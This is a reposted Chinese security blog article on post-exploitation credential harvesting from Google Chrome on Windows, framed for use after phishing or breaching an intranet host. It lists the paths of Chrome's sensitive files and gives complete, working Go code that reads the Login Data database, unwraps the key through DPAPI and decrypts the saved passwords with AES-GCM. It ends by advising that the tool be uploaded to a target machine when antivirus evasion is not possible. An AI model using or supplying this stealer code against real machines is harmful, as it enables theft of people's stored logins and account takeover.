相关文章推荐
千年单身的柚子  ·  从“圣城”奥马哈看巴菲特传奇·  1 年前    · 
逆袭的沙滩裤  ·  醫砭» 常用中藥» 肉豆蔻·  1 年前    · 
细心的匕首  ·  优质作品不断涌现话题播放量近千万网络文明短视 ...·  1 年前    · 
才高八斗的钢笔  ·  BLACK HAWK® ...·  1 年前    · 
低调的海豚  ·  Update history for ...·  1 年前    · 
小百科  ›  chrome浏览器密码解密工具 - 技术转贴 安全矩阵
软件 谷歌浏览器 string sqlite3
沉稳的草稿本
1 年前
1、 前言
当我们钓鱼或者进入内网获得一台机器权限的时候，第一步是需要信息搜集的，其中一步就是抓取并解密浏览器密码，虽然后一款非常好用的HackBrowserData工具，
但是用的人多了也就开始被杀了。
这篇文章就是来了解一下如何去解密Chrome浏览器密码的抓取浏览器信息需要以下几个文件，这些文件存储了浏览器的信息，工具抓取也是去获取这些文件里面的信息。
2、 过程
chrome 敏感文件存储位置
  1. chrome的登陆账号密码文件Login Data文件存储位置
  2. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Login Data
  3. chrome中存储加密key的位置
  4. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Local State
  5. chrome的cookie存储的位置：
  6. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Cookies
  7. chrome的浏览历史History存储位置：
  8. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\History
  9. chrome的收藏的书签存储位置：
  10. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
复制代码

其中Cookies、History、Login Data是SQLite3数据库文件，可以使用sqlitestudio直接打开
Bookmarks是全明文的xml文件
Login Data文件是一个数据库文件，可以直接使用工具连接数据库。当chrome正在使用时，是不可连接的
  1. User\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data
复制代码

但是可以复制出来，再次进行连接。其他都是明文，密码字段是加密的
由于数据库使用的是sqlite3，使用golang脚本加载sqlite3库，进行连接，可正常查询数据​​​​​​​
  1. package main


  4. import (
  5. "database/sql"
  6. "fmt"
  7. "log"
  8. "os"

  10. _ "github.com/mattn/go-sqlite3"
  11. )


  14. var (
  15. userPath, _ = os.UserHomeDir()
  16. //保存的密码存到了logindata数据库sqlite
  17. localData  string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  18. localState string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
  19. temporary  string = "D:\\GoProject\\test\\Login Data"
  20. )


  23. type chromeDB struct {
  24. Origin_url     string `json:"origin_url"`
  25. Action_url     string `json:"action_url"`
  26. Username_value string `json:"username_value"`
  27. Password_value string `json:"password_value"`
  28. }


  31. func sqLite() {
  32. var chrome chromeDB
  33. db, err := sql.Open("sqlite3", temporary)
  34. checkErr(err)
  35. sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
  36. // stmt, err := db.Prepare(sql)
  37. // checkErr(err)
  38. //defer stmt.Close()
  39. rows, err := db.Query(sql)
  40. checkErr(err)
  41. for rows.Next() {
  42. err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)
  43. checkErr(err)
  44. fmt.Println(chrome.Action_url)
  45. }

  47. }


  50. func checkErr(err error) {
  51. if err != nil {
  52. log.Fatal(err)
  53. }
  54. }


  57. func main() {
  58. sqLite()
  59. }
复制代码

但是查询的密码是加密的，接下来需要对密码进行解密。
windows下的chrome使用的加密方法是AES加密，需要一个密钥就可以实现解密
在这个目录下的Local State文件存放了解密使用的KEY
user/AppData/Local/Google/Chrome/User Data/Local State
这个文件时json格式的，在encrypted_key参数对应的就是解密需要的key
chrome最新版在密钥加密后数据前缀是V10，在前面截图中可以看到。后12字节的字符才是真正的密文。Chrome使用的是AES-256-GCM的AEAD对称加密，
然后再另一款工具中找到了解密方法(hackBrowserData)。首先获取os_crypt.encrypted_key字段中的数据，然后经过base64解密，再去除首位5个字符DPAPI。
因为原始密钥加密的时候会带上APAPI前缀+base64编码然后存储到json文件
​​​​​​​
  1. func GetMasterKey() ([]byte, error) {
  2. keyFile, err := ioutil.ReadFile(temporarykey)
  3. if err != nil {
  4. return nil, err
  5. }
  6. defer os.Remove(string(keyFile))
  7. encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
  8. if encryptedKey.Exists() {
  9. pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
  10. if err != nil {
  11. return nil, errDecodeMasterKeyFailed
  12. }
  13. //去除首位5个字符DPAPI
  14. masterKey, err := DPApi(pureKey[5:])


  17. checkErr(err, "6")


  20. return masterKey, err
  21. }
  22. return nil, nil
  23. }


  26. func DPApi(data []byte) ([]byte, error) {
  27. dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
  28. dllKernel := syscall.NewLazyDLL("Kernel32.dll")
  29. procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
  30. procLocalFree := dllKernel.NewProc("LocalFree")
  31. var outBlob dataBlob
  32. r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
  33. if r == 0 {
  34. return nil, err
  35. }
  36. defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
  37. return outBlob.ToByteArray(), nil
  38. }


  41. func NewBlob(d []byte) *dataBlob {
  42. if len(d) == 0 {
  43. return &dataBlob{}
  44. }
  45. return &dataBlob{
  46. pbData: &d[0],
  47. cbData: uint32(len(d)),
  48. }
  49. }
复制代码
这样就获得了一个key。获得了key之后就使用aesGCMD解密。如下就是解密方法
  1. key,err := GetMasterKey()


  4. pass, err := Chromium([]byte(key), []byte(chrome.Password_value))


  7. func Chromium(key, encryptPass []byte) ([]byte, error) {
  8. if len(encryptPass) > 15 {
  9. // remove Prefix 'v10'
  10. return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
  11. } else {
  12. return nil, errPasswordIsEmpty
  13. }
  14. }


  17. func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
  18. block, err := aes.NewCipher(key)
  19. if err != nil {
  20. return nil, err
  21. }
  22. blockMode, err := cipher.NewGCM(block)
  23. if err != nil {
  24. return nil, err
  25. }
  26. origData, err := blockMode.Open(nil, nounce, crypted, nil)
  27. if err != nil {
  28. return nil, err
  29. }
  30. return origData, nil
  31. }
复制代码

有了key可解密方法之后就可以传入数据库中的密码和key进行解密，如下是完整的解密代码。可自行测试，
  1. package main


  4. import (
  5. "crypto/aes"
  6. "crypto/cipher"
  7. "database/sql"
  8. "encoding/base64"
  9. "errors"
  10. "fmt"
  11. "io/ioutil"
  12. "os"
  13. "syscall"
  14. "unsafe"


  17. _ "github.com/mattn/go-sqlite3"
  18. "github.com/tidwall/gjson"
  19. )


  22. var (
  23. userPath, _ = os.UserHomeDir()
  24. //保存的密码存到了logindata数据库sqlite
  25. localData    string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  26. localState   string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
  27. //这里是我临时存放这两个文件的目录位置，当然也可以copy到指定目录
  28. temporarydb  string = "C:\\Users\\admin\\Desktop\\test\\Login Data"
  29. temporarykey string = "C:\\Users\\admin\\Desktop\\test\\Local State"
  30. )


  33. type chromeDB struct {
  34. Origin_url     string `json:"origin_url"`
  35. Action_url     string `json:"action_url"`
  36. Username_value string `json:"username_value"`
  37. Password_value string `json:"password_value"`
  38. }


  41. type dataBlob struct {
  42. cbData uint32
  43. pbData *byte
  44. }


  47. func sqLite() {
  48. fmt.Println(localState)
  49. var chrome chromeDB
  50. db, err := sql.Open("sqlite3", temporarydb)
  51. checkErr(err, "1")


  54. sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
  55. rows, err := db.Query(sql)


  58. checkErr(err, "2")
  59. for rows.Next() {


  62. err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)


  65. checkErr(err, "3")
  66. // fmt.Println(chrome.Password_value)
  67. key, err := GetMasterKey()


  70. checkErr(err, "4")
  71. pass, err := Chromium([]byte(key), []byte(chrome.Password_value))


  74. checkErr(err, "5")
  75. fmt.Println(string(pass))
  76. }
  77. }


  80. var (
  81. errPasswordIsEmpty       = errors.New("password is empty")
  82. errDecodeMasterKeyFailed = errors.New("decode master key failed")
  83. )


  86. func Chromium(key, encryptPass []byte) ([]byte, error) {
  87. if len(encryptPass) > 15 {
  88. // remove Prefix 'v10'
  89. return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
  90. } else {
  91. return nil, errPasswordIsEmpty
  92. }
  93. }


  96. func GetMasterKey() ([]byte, error) {
  97. keyFile, err := ioutil.ReadFile(temporarykey)
  98. if err != nil {
  99. return nil, err
  100. }
  101. defer os.Remove(string(keyFile))
  102. encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
  103. if encryptedKey.Exists() {
  104. pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
  105. if err != nil {
  106. return nil, errDecodeMasterKeyFailed
  107. }
  108. //去除首位5个字符DPAPI
  109. masterKey, err := DPApi(pureKey[5:])


  112. checkErr(err, "6")


  115. return masterKey, err
  116. }
  117. return nil, nil
  118. }


  121. func NewBlob(d []byte) *dataBlob {
  122. if len(d) == 0 {
  123. return &dataBlob{}
  124. }
  125. return &dataBlob{
  126. pbData: &d[0],
  127. cbData: uint32(len(d)),
  128. }
  129. }


  132. func (b *dataBlob) ToByteArray() []byte {
  133. d := make([]byte, b.cbData)
  134. copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
  135. return d
  136. }


  139. func DPApi(data []byte) ([]byte, error) {
  140. dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
  141. dllKernel := syscall.NewLazyDLL("Kernel32.dll")
  142. procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
  143. procLocalFree := dllKernel.NewProc("LocalFree")
  144. var outBlob dataBlob
  145. r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
  146. if r == 0 {
  147. return nil, err
  148. }
  149. defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
  150. return outBlob.ToByteArray(), nil
  151. }


  154. func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
  155. block, err := aes.NewCipher(key)
  156. if err != nil {
  157. return nil, err
  158. }
  159. blockMode, err := cipher.NewGCM(block)
  160. if err != nil {
  161. return nil, err
  162. }
  163. origData, err := blockMode.Open(nil, nounce, crypted, nil)
  164. if err != nil {
  165. return nil, err
  166. }
  167. return origData, nil
  168. }


  171. func checkErr(err error, str string) {
  172. if err != nil {
  173. fmt.Println(err, str)
  174. }
  175. }


  178. func main() {


  181. sqLite()
  182. }
复制代码

如果你不会做免杀，那么就可以单独写一个解密工具，如遇到对方机器只有Chrome的时候，可以上传这个小工具
 
推荐文章
千年单身的柚子  ·  从“圣城”奥马哈看巴菲特传奇
1 年前
逆袭的沙滩裤  ·  醫砭» 常用中藥» 肉豆蔻
1 年前
细心的匕首  ·  优质作品不断涌现话题播放量近千万网络文明短视频挑战赛等你参与 ...
1 年前
才高八斗的钢笔  ·  BLACK HAWK® Helicopter | Lockheed Martin
1 年前
低调的海豚  ·  Update history for Office 2016 C2R and Office 2019 - Office release ...
1 年前
Link管理   ·   51好读   ·   Sov5搜索   ·   小百科
小百科 - 百科知识指南